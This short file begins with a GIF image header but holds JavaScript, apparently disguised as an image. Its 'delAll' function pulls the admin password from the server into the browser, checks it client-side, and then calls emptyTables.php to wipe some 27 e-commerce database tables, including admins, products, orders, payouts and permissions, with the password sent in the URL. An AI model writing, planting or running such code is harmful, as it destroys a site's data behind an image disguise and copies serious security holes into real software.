GIF89a
function delAll() { if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (this.readyState==4 && this.status==200) { var password=$("#password").val(); var pass=this.responseText; Process(pass,password); } }; xmlhttp.open("GET","checkpass.php",true); xmlhttp.send(); function Process(pass,password){ if(pass==password){ CheckEntry('app_admin'); CheckEntry('banners'); CheckEntry('banner_images'); CheckEntry('blog'); CheckEntry('category'); CheckEntry('subCat'); CheckEntry('subscribers'); CheckEntry('newTags'); CheckEntry('my_wishlist'); CheckEntry('multi_images'); CheckEntry('events'); CheckEntry('tracking_status'); CheckEntry('admin_recent_visit_pages'); CheckEntry('dashboard_recent_login'); CheckEntry('products'); CheckEntry('product_review'); CheckEntry('prod_discount'); CheckEntry('vendor_details'); CheckEntry('web_details'); CheckEntry('seo_tag'); CheckEntry('priority'); CheckEntry('incoming_order'); CheckEntry('my_cart'); CheckEntry('prod_video'); CheckEntry('permissions'); CheckEntry('total_payout'); CheckEntry('prod_view'); alert("Processing Done"); $("#password").val(""); } else { alert("Sorry, Hight security password is incorrect, please try again"); $("#password").focus(); return false; } } function CheckEntry(data) { if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { }; xmlhttp.open("GET","emptyTables.php?data="+data+"&pass="+password,true); xmlhttp.send(); } }